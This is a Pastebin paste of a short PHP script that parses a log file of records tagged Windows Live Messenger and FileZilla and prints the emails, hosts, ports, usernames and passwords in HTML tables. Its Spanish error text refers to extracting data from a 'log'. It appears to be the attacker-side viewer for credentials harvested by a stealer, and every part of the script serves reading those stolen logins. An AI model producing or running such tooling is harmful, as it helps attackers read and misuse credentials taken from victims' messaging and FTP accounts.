Advertisement
Guest User

Untitled

a guest
Aug 9th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.58 KB | None | 0 0
  1. <?php
  2. $finished = FALSE;
  3. $reading = false;
  4. $myFile = "dbfile.cat";
  5. $fh = fopen($myFile, 'r');
  6. $thedata = fread($fh, filesize($myFile));
  7. fclose($fh);
  8. while (!$reading) :
  9. $bpos = strpos($thedata, "|");
  10. $epos = strpos($thedata, ")");
  11. $stype = substr($thedata,1,3);
  12. $thedata = substr($thedata, $bpos+1);
  13. $data = substr($thedata,0, $epos-5);
  14. $dpos = strpos($thedata, "(");
  15. $thedata = substr($thedata, $dpos);
  16. if ($stype=='WLM') {
  17. $ipos = strpos($data, "|");
  18. $user = substr($data,0, $ipos);
  19. $pass = substr($data, $ipos+1);
  20. echo '<table border="1" cellpadding="5">
  21. <tr><td><center>Windows Live Messenger</center></td>
  22. <tr><td>Email:</td><td>'.$user.'</td></tr>
  23. <tr><td>Password:</td><td> '.$pass.'</td></tr>';
  24.  
  25. }else if($stype=='FZS') {
  26. $ipos= strpos($data, "|");
  27. $ip = substr($data, 0,$ipos);
  28. $data = substr($data, $ipos+1);$ipos= strpos($data, "|");
  29. $port = substr($data, 0,$ipos);
  30. $data = substr($data, $ipos+1);$ipos= strpos($data, "|");
  31. $user = substr($data, 0,$ipos);
  32. $data = substr($data, $ipos+1);$ipos= strpos($data, "|");
  33. $pass = substr($data, 0);
  34. echo '<table cellpadding="3" border="1">
  35. <tr><td><center>Filezilla</center></td></tr>
  36. <tr><td>IP/Host:</td><td> '.$ip.'</td></tr>
  37. <tr><td>Port:</td><td> '.$port.'</td></tr>
  38. <tr><td>Username:</td><td>'.$user.'</td></tr>
  39. <tr><td>Password:</td><td> '.$pass.'</td></tr>';
  40. }
  41. $stype='';
  42. if ($dpos===false) {
  43. $reading=true;
  44. $finished=true;
  45. }
  46. endwhile;
  47.  
  48. if ($finished==FALSE) {
  49. echo "No se ha mostrado el log.Error en el proceso de extraccion de datos.";
  50. }
  51.  
  52.  
  53. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement